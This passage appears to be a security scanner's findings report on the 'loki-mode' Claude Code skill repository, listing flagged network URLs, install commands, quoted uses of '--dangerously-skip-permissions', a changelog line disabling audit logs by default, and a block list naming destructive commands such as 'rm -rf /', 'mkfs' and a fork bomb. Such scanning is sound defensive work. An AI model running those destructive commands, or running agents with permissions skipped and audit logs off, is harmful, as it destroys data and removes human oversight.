    | Paper/Resource | Contribution to Loki Mode | |----------------|---------------------------| | [SIMA 2: Generalist AI Agent](https://deepmind.google/blog/sima-2-an-agent-that-plays-reasons-and-learns-with-you-in-virtual-3d-worlds/) | Self-
  • Network accessline 31
    |----------------|---------------------------| | [SIMA 2: Generalist AI Agent](https://deepmind.google/blog/sima-2-an-agent-that-plays-reasons-and-learns-with-you-in-virtual-3d-worlds/) | Self-improvement loop, reward model training | | [Ge
  • Network accessline 32
    | [SIMA 2: Generalist AI Agent](https://deepmind.google/blog/sima-2-an-agent-that-plays-reasons-and-learns-with-you-in-virtual-3d-worlds/) | Self-improvement loop, reward model training |
  • Network accessline 33
    | [Gemini Robotics 1.5](https://deepmind.google/blog/gemini-robotics-15-brings-ai-agents-into-the-physical-world/) | Hierarchical reasoning (planner + executor) |
  • Network accessline 34
    | [Dreamer 4: World Model Training](https://danijar.com/project/dreamer4/) | Simulation-first testing, safe exploration |
  • Network accessline 35
    | [Genie 3: World Models](https://deepmind.google/blog/genie-3-a-new-frontier-for-world-models/) | World model architecture patterns |
  • Network accessline 36
    | [Scalable AI Safety via Doubly-Efficient Debate](https://deepmind.google/research/publications/34920/) | Debate-based verification for critical changes |
  • Network accessline 37
    | [Human-AI Complementarity for Amplified Oversight](https://deepmindsafetyresearch.medium.com/human-ai-complementarity-a-goal-for-amplified-oversight-0ad8a44cae0a) | AI-assisted human supervision |
  • Network accessline 38
    | [Technical AGI Safety Approach](https://arxiv.org/html/2504.01849v1) | Safety-first agent design |
  • Network accessline 44
    | Paper/Resource | Contribution to Loki Mode | |----------------|---------------------------| | [Agents SDK Documentation](https://openai.github.io/openai-agents-python/) | Tracing spans, guardrails, tripwires |
  • Network accessline 45
    |----------------|---------------------------| | [Agents SDK Documentation](https://openai.github.io/openai-agents-python/) | Tracing spans, guardrails, tripwires | | [A Practical Guide to Building Agents](https://cdn.openai.com/business-gu
  • Network accessline 46
    | [Agents SDK Documentation](https://openai.github.io/openai-agents-python/) | Tracing spans, guardrails, tripwires |
  • Network accessline 47
    | [A Practical Guide to Building Agents](https://cdn.openai.com/business-guides-and-resources/a-practical-guide-to-building-agents.pdf) | Agent architecture best practices |
  • Network accessline 48
    | [Building Agents Track](https://developers.openai.com/tracks/building-agents/) | Development patterns, handoff callbacks |
  • Network accessline 49
    | [AGENTS.md Specification](https://agents.md/) | Standardized agent instructions |
  • Network accessline 50
    | [Introducing Deep Research](https://openai.com/index/introducing-deep-research/) | Adaptive planning, backtracking |
  • Network accessline 51
    | [Deep Research System Card](https://cdn.openai.com/deep-research-system-card.pdf) | Safety considerations for research agents |
  • Network accessline 52
    | [Introducing o3 and o4-mini](https://openai.com/index/introducing-o3-and-o4-mini/) | Reasoning model guidance |
  • Network accessline 53
    | [Reasoning Best Practices](https://platform.openai.com/docs/guides/reasoning-best-practices) | Extended thinking patterns |
  • Network accessline 54
    | [Chain of Thought Monitoring](https://openai.com/index/chain-of-thought-monitoring/) | Reasoning trace monitoring |
  • Network accessline 55
    | [Agent Builder Safety](https://platform.openai.com/docs/guides/agent-builder-safety) | Safety patterns for agent builders |
  • Network accessline 56
    | [Computer-Using Agent](https://openai.com/index/computer-using-agent/) | Computer use patterns |
  • Network accessline 57
    | [Agentic AI Foundation](https://openai.com/index/agentic-ai-foundation/) | Industry standards, interoperability |
  • Network accessline 63
    | Paper/Resource | Contribution to Loki Mode | |----------------|---------------------------| | [Multi-Agent Orchestration Guidance](https://aws.amazon.com/solutions/guidance/multi-agent-orchestration-on-aws/) | Three coordination mechanism
  • Network accessline 64
    |----------------|---------------------------| | [Multi-Agent Orchestration Guidance](https://aws.amazon.com/solutions/guidance/multi-agent-orchestration-on-aws/) | Three coordination mechanisms, architectural patterns | | [Bedrock Multi-Ag
  • Network accessline 65
    | [Multi-Agent Orchestration Guidance](https://aws.amazon.com/solutions/guidance/multi-agent-orchestration-on-aws/) | Three coordination mechanisms, architectural patterns |
  • Network accessline 66
    | [Bedrock Multi-Agent Collaboration](https://docs.aws.amazon.com/bedrock/latest/userguide/agents-multi-agent-collaboration.html) | Supervisor mode, routing mode, 10-agent limit |
  • Network accessline 67
    | [Multi-Agent Collaboration Announcement](https://aws.amazon.com/blogs/aws/introducing-multi-agent-collaboration-capability-for-amazon-bedrock/) | Intent classification, selective context sharing |
  • Network accessline 68
    | [AgentCore for SRE](https://aws.amazon.com/blogs/machine-learning/build-multi-agent-site-reliability-engineering-assistants-with-amazon-bedrock-agentcore/) | Gateway, Memory, Identity, Observability components |
  • Network accessline 78
    | Paper | Authors/Source | Contribution | |-------|----------------|--------------| | [Multi-Agent Collaboration Mechanisms Survey](https://arxiv.org/abs/2501.06322) | arXiv 2501.06322 | Collaboration structures, coopetition |
  • Network accessline 79
    |-------|----------------|--------------| | [Multi-Agent Collaboration Mechanisms Survey](https://arxiv.org/abs/2501.06322) | arXiv 2501.06322 | Collaboration structures, coopetition | | [CONSENSAGENT: Anti-Sycophancy Framework](https://acl
  • Network accessline 80
    | [Multi-Agent Collaboration Mechanisms Survey](https://arxiv.org/abs/2501.06322) | arXiv 2501.06322 | Collaboration structures, coopetition |
  • Network accessline 81
    | [CONSENSAGENT: Anti-Sycophancy Framework](https://aclanthology.org/2025.findings-acl.1141/) | ACL 2025 Findings | Blind review, devil's advocate |
  • Network accessline 82
    | [GoalAct: Hierarchical Execution](https://arxiv.org/abs/2504.16563) | arXiv 2504.16563 | Global planning, skill decomposition |
  • Network accessline 83
    | [A-Mem: Agentic Memory System](https://arxiv.org/html/2502.12110v11) | arXiv 2502.12110 | Zettelkasten-style memory linking |
  • Network accessline 84
    | [Multi-Agent Reflexion (MAR)](https://arxiv.org/html/2512.20845) | arXiv 2512.20845 | Structured debate, persona-based critics |
  • Network accessline 85
    | [Iter-VF: Iterative Verification-First](https://arxiv.org/html/2511.21734v1) | arXiv 2511.21734 | Answer-only verification, Markovian retry |
  • Network accessline 89
    | Paper | Authors/Source | Contribution | |-------|----------------|--------------| | [Assessment Framework for Agentic AI](https://arxiv.org/html/2512.12791v1) | arXiv 2512.12791 | Four-pillar evaluation framework |
  • Network accessline 90
    |-------|----------------|--------------| | [Assessment Framework for Agentic AI](https://arxiv.org/html/2512.12791v1) | arXiv 2512.12791 | Four-pillar evaluation framework | | [Measurement Imbalance in Agentic AI](https://arxiv.org/abs/250
  • Network accessline 91
    | [Assessment Framework for Agentic AI](https://arxiv.org/html/2512.12791v1) | arXiv 2512.12791 | Four-pillar evaluation framework |
  • Network accessline 92
    | [Measurement Imbalance in Agentic AI](https://arxiv.org/abs/2506.02064) | arXiv 2506.02064 | Multi-dimensional evaluation axes |
  • Network accessline 93
    | [Demo-to-Deployment Gap](https://www.marktechpost.com/2025/12/24/) | Stanford/Harvard | Tool reliability vs tool selection |
  • Network accessline 101
    | Resource | Contribution | |----------|--------------| | [NVIDIA ToolOrchestra](https://github.com/NVlabs/ToolOrchestra) | Efficiency metrics, three-reward signal framework, dynamic agent selection |
  • Network accessline 102
    |----------|--------------| | [NVIDIA ToolOrchestra](https://github.com/NVlabs/ToolOrchestra) | Efficiency metrics, three-reward signal framework, dynamic agent selection | | [LerianStudio/ring](https://github.com/LerianStudio/ring) | Subag
  • Network accessline 103
    | [NVIDIA ToolOrchestra](https://github.com/NVlabs/ToolOrchestra) | Efficiency metrics, three-reward signal framework, dynamic agent selection |
  • Network accessline 104
    | [LerianStudio/ring](https://github.com/LerianStudio/ring) | Subagent-driven-development pattern |
  • Network accessline 105
    | [Awesome Agentic Patterns](https://github.com/nibzard/awesome-agentic-patterns) | 105+ production patterns catalog |
  • Network accessline 109
    | Resource | Contribution | |----------|--------------| | [Maxim AI: Production Multi-Agent Systems](https://www.getmaxim.ai/articles/best-practices-for-building-production-ready-multi-agent-systems/) | Correlation IDs, failure handling |
  • Network accessline 110
    |----------|--------------| | [Maxim AI: Production Multi-Agent Systems](https://www.getmaxim.ai/articles/best-practices-for-building-production-ready-multi-agent-systems/) | Correlation IDs, failure handling | | [UiPath: Agent Builder Best
  • Network accessline 111
    | [Maxim AI: Production Multi-Agent Systems](https://www.getmaxim.ai/articles/best-practices-for-building-production-ready-multi-agent-systems/) | Correlation IDs, failure handling |
  • Network accessline 112
    | [UiPath: Agent Builder Best Practices](https://www.uipath.com/blog/ai/agent-builder-best-practices) | Single-responsibility agents |
  • Network accessline 113
    | [GitHub: Speed Without Control](https://github.blog/) | Static analysis + AI review, guardrails |
  • Network accessline 123
    | Thread | Key Insight | |--------|-------------| | [What Actually Works in Production for Autonomous Agents](https://news.ycombinator.com/item?id=44623207) | "Zero companies without human in the loop" |
  • Network accessline 124
    |--------|-------------| | [What Actually Works in Production for Autonomous Agents](https://news.ycombinator.com/item?id=44623207) | "Zero companies without human in the loop" | | [Coding with LLMs in Summer 2025](https://news.ycombinator.
  • Network accessline 125
    | [What Actually Works in Production for Autonomous Agents](https://news.ycombinator.com/item?id=44623207) | "Zero companies without human in the loop" |
  • Network accessline 126
    | [Coding with LLMs in Summer 2025](https://news.ycombinator.com/item?id=44623953) | Context curation beats automatic RAG |
  • Network accessline 127
    | [Superpowers: How I'm Using Coding Agents](https://news.ycombinator.com/item?id=45547344) | Sub-agents for context isolation (Simon Willison) |
  • Network accessline 128
    | [Claude Code Experience After Two Weeks](https://news.ycombinator.com/item?id=44596472) | Fresh contexts yield better results |
  • Network accessline 129
    | [AI Agent Benchmarks Are Broken](https://news.ycombinator.com/item?id=44531697) | LLM-as-judge has shared blind spots |
  • Network accessline 130
    | [How to Orchestrate Multi-Agent Workflows](https://news.ycombinator.com/item?id=45955997) | Event-driven, decoupled coordination |
  • Network accessline 131
    | [Context Engineering vs Prompt Engineering](https://news.ycombinator.com/item?id=44427757) | Manual context selection principles |
  • Network accessline 135
    | Project | Contribution | |---------|--------------| | [Self-Evolving Agents Repository](https://news.ycombinator.com/item?id=45099226) | Self-improvement patterns |
  • Network accessline 136
    |---------|--------------| | [Self-Evolving Agents Repository](https://news.ycombinator.com/item?id=45099226) | Self-improvement patterns | | [Package Manager for Agent Skills](https://news.ycombinator.com/item?id=46422264) | Skills archite
  • Network accessline 137
    | [Self-Evolving Agents Repository](https://news.ycombinator.com/item?id=45099226) | Self-improvement patterns |
  • Network accessline 138
    | [Package Manager for Agent Skills](https://news.ycombinator.com/item?id=46422264) | Skills architecture |
  • Network accessline 139
    | [Wispbit - AI Code Review Agent](https://news.ycombinator.com/item?id=44722603) | Code review patterns |
  • Network accessline 140
    | [Agtrace - Monitoring for AI Coding Agents](https://news.ycombinator.com/item?id=46425670) | Agent monitoring patterns |

skills/loki-mode/CHANGELOG.md

  • Network accessline 5
    The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
  • Network accessline 6
    and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
  • Network accessline 12
    **External resources analyzed (11 sources):** - [extremeclarity/claude-plugins/worldview](https://github.com/extremeclarity/claude-plugins/tree/master/plugins/worldview) - Context persistence plugin
  • Network accessline 13
    - [extremeclarity/claude-plugins/worldview](https://github.com/extremeclarity/claude-plugins/tree/master/plugins/worldview) - Context persistence plugin
  • Network accessline 14
    - [trails.pieterma.es](https://trails.pieterma.es/) - Context management
  • Network accessline 15
    - [Yeachan-Heo/oh-my-claude-sisyphus](https://github.com/Yeachan-Heo/oh-my-claude-sisyphus) - Multi-agent orchestration
  • Network accessline 16
    - [mihaileric.com - The Emperor Has No Clothes](https://www.mihaileric.com/The-Emperor-Has-No-Clothes/) - AI agent architecture insights
  • Network accessline 17
    - [sawirstudio/effectphp](https://github.com/sawirstudio/effectphp) - Functional effects library
  • Network accessline 18
    - [camel-ai.org/SETA](https://www.camel-ai.org/blogs/seta-scaling-environments-for-terminal-agents) - Terminal agent research
  • Network accessline 19
    - [rush86999/atom](https://github.com/rush86999/atom) - Workflow automation platform
  • Network accessline 20
    - [penberg.org/disaggregated-agentfs](https://penberg.org/blog/disaggregated-agentfs.html) - Storage architecture
  • Network accessline 21
    - [onmax/npm-agentskills](https://github.com/onmax/npm-agentskills) - SKILL.md standard
  • Network accessline 22
    - [xrip/tinycode](https://github.com/xrip/tinycode) - Minimal AI assistant
  • Network accessline 23
    - [akz4ol/agentlint](https://github.com/akz4ol/agentlint) - Agent security scanner
  • Network accessline 55
    **Sources:** - [Effective Harnesses for Long-Running Agents](https://www.anthropic.com/engineering/effective-harnesses-for-long-running-agents) - Anthropic Engineering
  • Network accessline 56
    - [Effective Harnesses for Long-Running Agents](https://www.anthropic.com/engineering/effective-harnesses-for-long-running-agents) - Anthropic Engineering
  • Network accessline 57
    - [Claude Agent SDK Overview](https://platform.claude.com/docs/en/agent-sdk/overview) - Anthropic Platform
  • Network accessline 87
    **Source:** [AWS Multi-Agent Orchestration Guidance](https://aws.amazon.com/solutions/guidance/multi-agent-orchestration-on-aws/)
  • Network accessline 146
    **Sources analyzed:** - [What Actually Works in Production for Autonomous Agents](https://news.ycombinator.com/item?id=44623207)
  • Network accessline 147
    - [What Actually Works in Production for Autonomous Agents](https://news.ycombinator.com/item?id=44623207)
  • Network accessline 148
    - [Coding with LLMs in Summer 2025](https://news.ycombinator.com/item?id=44623953)
  • Network accessline 149
    - [Superpowers: How I'm Using Coding Agents](https://news.ycombinator.com/item?id=45547344)
  • Network accessline 150
    - [Claude Code Experience After Two Weeks](https://news.ycombinator.com/item?id=44596472)
  • Network accessline 151
    - [AI Agent Benchmarks Are Broken](https://news.ycombinator.com/item?id=44531697)
  • Network accessline 152
    - [How to Orchestrate Multi-Agent Workflows](https://news.ycombinator.com/item?id=45955997)
  • Network accessline 201
    **Google DeepMind:** - [SIMA 2: Generalist AI Agent](https://deepmind.google/blog/sima-2-an-agent-that-plays-reasons-and-learns-with-you-in-virtual-3d-worlds/)
  • Network accessline 202
    - [SIMA 2: Generalist AI Agent](https://deepmind.google/blog/sima-2-an-agent-that-plays-reasons-and-learns-with-you-in-virtual-3d-worlds/)
  • Network accessline 203
    - [Gemini Robotics 1.5](https://deepmind.google/blog/gemini-robotics-15-brings-ai-agents-into-the-physical-world/)
  • Network accessline 204
    - [Dreamer 4: World Model Training](https://danijar.com/project/dreamer4/)
  • Network accessline 205
    - [Scalable AI Safety via Debate](https://deepmind.google/research/publications/34920/)
  • Network accessline 206
    - [Amplified Oversight](https://deepmindsafetyresearch.medium.com/human-ai-complementarity-a-goal-for-amplified-oversight-0ad8a44cae0a)
  • Network accessline 207
    - [Technical AGI Safety Approach](https://arxiv.org/html/2504.01849v1)
  • Network accessline 209
    **Anthropic:** - [Constitutional AI](https://www.anthropic.com/research/constitutional-ai-harmlessness-from-ai-feedback)
  • Network accessline 210
    - [Constitutional AI](https://www.anthropic.com/research/constitutional-ai-harmlessness-from-ai-feedback)
  • Network accessline 211
    - [Building Effective Agents](https://www.anthropic.com/research/building-effective-agents)
  • Network accessline 212
    - [Claude Code Best Practices](https://www.anthropic.com/engineering/claude-code-best-practices)
  • Network accessline 213
    - [Sleeper Agents Detection](https://www.anthropic.com/research/probes-catch-sleeper-agents)
  • Network accessline 214
    - [Alignment Faking](https://www.anthropic.com/research/alignment-faking)
  • Network accessline 260
    **Research sources analyzed:** - [OpenAI Agents SDK](https://openai.github.io/openai-agents-python/) - Core primitives
  • Network accessline 261
    - [OpenAI Agents SDK](https://openai.github.io/openai-agents-python/) - Core primitives
  • Network accessline 262
    - [Practical Guide to Building Agents](https://cdn.openai.com/business-guides-and-resources/a-practical-guide-to-building-agents.pdf)
  • Network accessline 263
    - [Building Agents Track](https://developers.openai.com/tracks/building-agents/)
  • Network accessline 264
    - [AGENTS.md Specification](https://agents.md/)
  • Network accessline 265
    - [Deep Research System Card](https://cdn.openai.com/deep-research-system-card.pdf)
  • Network accessline 266
    - [Chain of Thought Monitoring](https://openai.com/index/chain-of-thought-monitoring/)
  • Network accessline 267
    - [Agentic AI Foundation](https://openai.com/index/agentic-ai-foundation/)
  • Network accessline 326
    **Research sources analyzed (15+ papers/guides):** - [Anthropic: Building Effective Agents](https://www.anthropic.com/research/building-effective-agents)
  • Network accessline 327
    - [Anthropic: Building Effective Agents](https://www.anthropic.com/research/building-effective-agents)
  • Network accessline 328
    - [Stanford/Harvard: Demo-to-Deployment Gap](https://www.marktechpost.com/2025/12/24/)
  • Network accessline 329
    - [Maxim AI: Production Multi-Agent Systems](https://www.getmaxim.ai/articles/best-practices-for-building-production-ready-multi-agent-systems/)
  • Network accessline 330
    - [UiPath: Agent Builder Best Practices](https://www.uipath.com/blog/ai/agent-builder-best-practices)
  • Network accessline 331
    - [Assessment Framework for Agentic AI (arXiv 2512.12791)](https://arxiv.org/html/2512.12791v1)
  • Network accessline 332
    - [Measurement Imbalance in Agentic AI (arXiv 2506.02064)](https://arxiv.org/abs/2506.02064)
  • Network accessline 374
    **Research source analyzed:** - [NVIDIA ToolOrchestra](https://github.com/NVlabs/ToolOrchestra) - #1 on GAIA benchmark, 37.1% on HLE
  • Network accessline 375
    - [NVIDIA ToolOrchestra](https://github.com/NVlabs/ToolOrchestra) - #1 on GAIA benchmark, 37.1% on HLE
  • Network accessline 445
    **Research sources analyzed:** - [Awesome Agentic Patterns](https://github.com/nibzard/awesome-agentic-patterns) - 105 production patterns
  • Network accessline 446
    - [Awesome Agentic Patterns](https://github.com/nibzard/awesome-agentic-patterns) - 105 production patterns
  • Network accessline 447
    - [Multi-Agent Collaboration Mechanisms Survey](https://arxiv.org/abs/2501.06322)
  • Network accessline 448
    - [CONSENSAGENT Anti-Sycophancy Framework](https://aclanthology.org/2025.findings-acl.1141/)
  • Network accessline 449
    - [GoalAct Hierarchical Planning](https://arxiv.org/abs/2504.16563)
  • Network accessline 450
    - [A-Mem/MIRIX Memory Systems](https://arxiv.org/html/2502.12110v11)
  • Network accessline 451
    - [Multi-Agent Reflexion (MAR)](https://arxiv.org/html/2512.20845)
  • Network accessline 452
    - [Iter-VF Verification](https://arxiv.org/html/2511.21734v1)
  • Instruction override signalline 704
    - **Enterprise Security Defaults** - All enterprise features now OFF by default   - `LOKI_AUDIT_LOG` changed from `true` to `false`   - Ensures Loki Mode works exactly as before with `--dangerously-skip-permissions`
  • Instruction override signalline 705
    - `LOKI_AUDIT_LOG` changed from `true` to `false`   - Ensures Loki Mode works exactly as before with `--dangerously-skip-permissions`   - Enterprise features are opt-in, not forced
  • Instruction override signalline 706
    - Ensures Loki Mode works exactly as before with `--dangerously-skip-permissions`
  • Dangerous shell operationline 737
    - Default blocks: `rm -rf /`, `dd if=`, `mkfs`, fork bomb
  • Instruction override signalline 781
    |------------|--------|-------| | Published Benchmarks | None | HumanEval + SWE-bench infrastructure | | Enterprise Security | `--dangerously-skip-permissions` | Staged autonomy, audit logs, command blocking |
  • Instruction override signalline 782
    | Published Benchmarks | None | HumanEval + SWE-bench infrastructure | | Enterprise Security | `--dangerously-skip-permissions` | Staged autonomy, audit logs, command blocking | | Cross-Project Learning | None | Global learnings database |
  • Instruction override signalline 783
    | Enterprise Security | `--dangerously-skip-permissions` | Staged autonomy, audit logs, command blocking |
  • Network accessline 1591
    - **Web Dashboard** - Visual task board with Anthropic design language   - Cream/beige background with coral (#D97757) accents matching Anthropic branding   - Auto-starts at `http://127.0.0.1:57374` and opens in browser
  • Network accessline 1592
    - Cream/beige background with coral (#D97757) accents matching Anthropic branding   - Auto-starts at `http://127.0.0.1:57374` and opens in browser   - Shows task counts and Kanban-style columns (Pending, In Progress, Completed, Failed)
  • Network accessline 1593
    - Auto-starts at `http://127.0.0.1:57374` and opens in browser
  • Network accessline 1653
    - Phase-to-column mapping for visual progress tracking   - Metadata preservation for debugging   - See [BloopAI/vibe-kanban](https://github.com/BloopAI/vibe-kanban)
  • Network accessline 1655
    - See [BloopAI/vibe-kanban](https://github.com/BloopAI/vibe-kanban)
  • Network accessline 1703
    - Option 1: Download from GitHub Releases (recommended)   - Option 2: Git clone   - Option 3: Minimal install with curl commands
  • Network accessline 1704
    - Option 2: Git clone   - Option 3: Minimal install with curl commands   - Verification steps
  • Network accessline 1705
    - Option 3: Minimal install with curl commands
  • Network accessline 1812
    [2.4.0]: https://github.com/asklokesh/loki-mode/compare/v2.3.0...v2.4.0
  • Network accessline 1813
    [2.3.0]: https://github.com/asklokesh/loki-mode/compare/v2.2.0...v2.3.0
  • Network accessline 1814
    [2.2.0]: https://github.com/asklokesh/loki-mode/compare/v2.1.0...v2.2.0
  • Network accessline 1815
    [2.1.0]: https://github.com/asklokesh/loki-mode/compare/v2.0.3...v2.1.0
  • Network accessline 1816
    [2.0.3]: https://github.com/asklokesh/loki-mode/compare/v2.0.2...v2.0.3
  • Network accessline 1817
    [2.0.2]: https://github.com/asklokesh/loki-mode/compare/v2.0.1...v2.0.2
  • Network accessline 1818
    [2.0.1]: https://github.com/asklokesh/loki-mode/compare/v2.0.0...v2.0.1
  • Network accessline 1819
    [2.0.0]: https://github.com/asklokesh/loki-mode/compare/v1.1.0...v2.0.0
  • Network accessline 1820
    [1.1.0]: https://github.com/asklokesh/loki-mode/compare/v1.0.1...v1.1.0
  • Network accessline 1821
    [1.0.1]: https://github.com/asklokesh/loki-mode/compare/v1.0.0...v1.0.1
  • Network accessline 1822
    [1.0.0]: https://github.com/asklokesh/loki-mode/releases/tag/v1.0.0

skills/loki-mode/CLAUDE.md

  • Instruction override signalline 8
    # Launch Claude Code with autonomous permissions claude --dangerously-skip-permissions
  • Instruction override signalline 9
    claude --dangerously-skip-permissions

skills/loki-mode/CONTEXT-EXPORT.md

  • Network accessline 3
    **Date:** 2025-12-28 **Version:** 2.5.0 **Repository:** https://github.com/asklokesh/loki-mode
  • Network accessline 5
    **Repository:** https://github.com/asklokesh/loki-mode
  • Instruction override signalline 93
    echo "$prompt" | claude --dangerously-skip-permissions
  • Instruction override signalline 133
    **Solution:** Use stdin pipe: `echo "$prompt" | claude --dangerously-skip-permissions`

skills/loki-mode/INSTALLATION.md

  • Network accessline 23
    # Clone to your skills directory git clone https://github.com/asklokesh/loki-mode.git ~/.claude/skills/loki-mode
  • Network accessline 24
    git clone https://github.com/asklokesh/loki-mode.git ~/.claude/skills/loki-mode
  • Network accessline 39
    git clone https://github.com/asklokesh/loki-mode.git ~/.claude/skills/loki-mode
  • Network accessline 47
    # Clone to local skills directory git clone https://github.com/asklokesh/loki-mode.git .claude/skills/loki-mode
  • Network accessline 48
    git clone https://github.com/asklokesh/loki-mode.git .claude/skills/loki-mode
  • Network accessline 57
    # Get latest version number VERSION=$(curl -s https://api.github.com/repos/asklokesh/loki-mode/releases/latest | grep tag_name | cut -d'"' -f4 | tr -d 'v')
  • Network accessline 58
    VERSION=$(curl -s https://api.github.com/repos/asklokesh/loki-mode/releases/latest | grep tag_name | cut -d'"' -f4 | tr -d 'v')
  • Network accessline 60
    # Download and extract curl -L -o loki-mode.zip "https://github.com/asklokesh/loki-mode/releases/download/v${VERSION}/loki-mode-claude-code-${VERSION}.zip"
  • Network accessline 61
    curl -L -o loki-mode.zip "https://github.com/asklokesh/loki-mode/releases/download/v${VERSION}/loki-mode-claude-code-${VERSION}.zip"
  • Dangerous shell operationline 62
    unzip loki-mode.zip && rm loki-mode.zip
  • Network accessline 75
    # Download core skill file curl -o ~/.claude/skills/loki-mode/SKILL.md \
  • Network accessline 76
    curl -o ~/.claude/skills/loki-mode/SKILL.md \
  • Network accessline 77
    https://raw.githubusercontent.com/asklokesh/loki-mode/main/SKILL.md
  • Network accessline 79
    # Download agent definitions curl -o ~/.claude/skills/loki-mode/references/agents.md \
  • Network accessline 80
    curl -o ~/.claude/skills/loki-mode/references/agents.md \
  • Network accessline 81
    https://raw.githubusercontent.com/asklokesh/loki-mode/main/references/agents.md
  • Network accessline 83
    # Download deployment guides curl -o ~/.claude/skills/loki-mode/references/deployment.md \
  • Network accessline 84
    curl -o ~/.claude/skills/loki-mode/references/deployment.md \
  • Network accessline 85
    https://raw.githubusercontent.com/asklokesh/loki-mode/main/references/deployment.md
  • Network accessline 87
    # Download business operations reference curl -o ~/.claude/skills/loki-mode/references/business-ops.md \
  • Network accessline 88
    curl -o ~/.claude/skills/loki-mode/references/business-ops.md \
  • Network accessline 89
    https://raw.githubusercontent.com/asklokesh/loki-mode/main/references/business-ops.md
  • Network accessline 102
    1. Go to [Releases](https://github.com/asklokesh/loki-mode/releases) 2. Download **either**:
  • Network accessline 111
    1. Open [Claude.ai](https://claude.ai)
  • Network accessline 127
    1. Go to [Releases](https://github.com/asklokesh/loki-mode/releases) 2. Download **`loki-mode-api-X.X.X.zip`** (note the `-api-` version)
  • Network accessline 134
    1. Go to [console.anthropic.com](https://console.anthropic.com)
  • Network accessline 250
    **Problem:** curl or wget commands fail.
  • Network accessline 257
    # Use wget instead of curl
  • Network accessline 258
    wget -O ~/.claude/skills/loki-mode/SKILL.md \
  • Network accessline 259
    https://raw.githubusercontent.com/asklokesh/loki-mode/main/SKILL.md
  • Network accessline 306
    # If missing, download them: curl -o ~/.claude/skills/loki-mode/references/agents.md \
  • Network accessline 307
    curl -o ~/.claude/skills/loki-mode/references/agents.md \
  • Network accessline 308
    https://raw.githubusercontent.com/asklokesh/loki-mode/main/references/agents.md
  • Dangerous shell operationline 342
    rm -rf ~/.claude/skills/loki-mode
  • Network accessline 372
    4. **Join the Community:** Report issues or contribute at [GitHub](https://github.com/asklokesh/loki-mode)
  • Network accessline 378
    - **Issues/Bugs:** [GitHub Issues](https://github.com/asklokesh/loki-mode/issues)
  • Network accessline 379
    - **Discussions:** [GitHub Discussions](https://github.com/asklokesh/loki-mode/discussions)

skills/loki-mode/README.md

  • Network accessline 5
    [![Claude Code](https://img.shields.io/badge/Claude-Code-orange)](https://claude.ai)
  • Network accessline 6
    [![Agent Types](https://img.shields.io/badge/Agent%20Types-37-blue)]()
  • Network accessline 7
    [![Loki Mode](https://img.shields.io/badge/Loki%20Mode-98.78%25%20Pass%401-blueviolet)](benchmarks/results/)
  • Network accessline 8
    [![HumanEval](https://img.shields.io/badge/HumanEval-98.17%25%20Pass%401-brightgreen)](benchmarks/results/)
  • Network accessline 9
    [![SWE-bench](https://img.shields.io/badge/SWE--bench-99.67%25%20Patch%20Gen-brightgreen)](benchmarks/results/)
  • Network accessline 10
    [![License](https://img.shields.io/badge/License-MIT-green.svg)](LICENSE)
  • Network accessline 20
    [![asciicast](https://asciinema.org/a/EqNo5IVTaPJfCjLmnYgZ9TC3E.svg)](https://asciinema.org/a/EqNo5IVTaPJfCjLmnYgZ9TC3E)
  • Network accessline 231
    # Clone to your Claude Code skills directory git clone https://github.com/asklokesh/loki-mode.git ~/.claude/skills/loki-mode
  • Network accessline 232
    git clone https://github.com/asklokesh/loki-mode.git ~/.claude/skills/loki-mode
  • Network accessline 235
    See [INSTALLATION.md](INSTALLATION.md) for other installation methods (Web, API Console, minimal curl install).
  • Instruction override signalline 267
    # Or manual mode claude --dangerously-skip-permissions
  • Instruction override signalline 268
    claude --dangerously-skip-permissions
  • Network accessline 292
    <img width="5309" height="979" alt="Agent Swarms Visualization" src="https://github.com/user-attachments/assets/7d18635d-a606-401f-8d9f-430e6e4ee689" />
  • Access to secretsline 427
    [Credential-related source omitted]
  • Instruction override signalline 435
    - **Claude Code** with `--dangerously-skip-permissions` flag
  • Network accessline 451
    Integrate with [Vibe Kanban](https://github.com/BloopAI/vibe-kanban) for a visual kanban board:
  • Network accessline 511
    | Source | Key Contribution | |--------|------------------| | [Anthropic: Building Effective Agents](https://www.anthropic.com/research/building-effective-agents) | Evaluator-optimizer pattern, parallelization |
  • Network accessline 512
    |--------|------------------| | [Anthropic: Building Effective Agents](https://www.anthropic.com/research/building-effective-agents) | Evaluator-optimizer pattern, parallelization | | [Anthropic: Constitutional AI](https://www.anthropic.com
  • Network accessline 513
    | [Anthropic: Building Effective Agents](https://www.anthropic.com/research/building-effective-agents) | Evaluator-optimizer pattern, parallelization |
  • Network accessline 514
    | [Anthropic: Constitutional AI](https://www.anthropic.com/research/constitutional-ai-harmlessness-from-ai-feedback) | Self-critique against principles |
  • Network accessline 515
    | [DeepMind: Scalable Oversight via Debate](https://deepmind.google/research/publications/34920/) | Debate-based verification |
  • Network accessline 516
    | [DeepMind: SIMA 2](https://deepmind.google/blog/sima-2-an-agent-that-plays-reasons-and-learns-with-you-in-virtual-3d-worlds/) | Self-improvement loop |
  • Network accessline 517
    | [OpenAI: Agents SDK](https://openai.github.io/openai-agents-python/) | Guardrails, tripwires, tracing |
  • Network accessline 518
    | [NVIDIA ToolOrchestra](https://github.com/NVlabs/ToolOrchestra) | Efficiency metrics, reward signals |
  • Network accessline 519
    | [CONSENSAGENT (ACL 2025)](https://aclanthology.org/2025.findings-acl.1141/) | Anti-sycophancy, blind review |
  • Network accessline 520
    | [GoalAct](https://arxiv.org/abs/2504.16563) | Hierarchical planning |
  • Network accessline 524
    - **Boris Cherny** (Claude Code creator) - Self-verification loop, extended thinking - **Simon Willison** - Sub-agents for context isolation, skills system - **Hacker News Community** - [Production patterns](https://news.ycombinator.com/ite
  • Network accessline 526
    - **Hacker News Community** - [Production patterns](https://news.ycombinator.com/item?id=44623207) from real deployments
  • Network accessline 530
    - [LerianStudio/ring](https://github.com/LerianStudio/ring) - Subagent-driven-development pattern
  • Network accessline 531
    - [Awesome Agentic Patterns](https://github.com/nibzard/awesome-agentic-patterns) - 105+ production patterns
  • Network accessline 535
    Built for the [Claude Code](https://claude.ai) ecosystem, powered by Anthropic's Claude models (Sonnet, Haiku, Opus).
  • Network accessline 542
    git clone https://github.com/asklokesh/loki-mode.git ~/.claude/skills/loki-mode

skills/loki-mode/SKILL.md

  • Instruction override signalline 98
    # Launch with autonomous permissions claude --dangerously-skip-permissions
  • Instruction override signalline 99
    claude --dangerously-skip-permissions
  • Network accessline 356
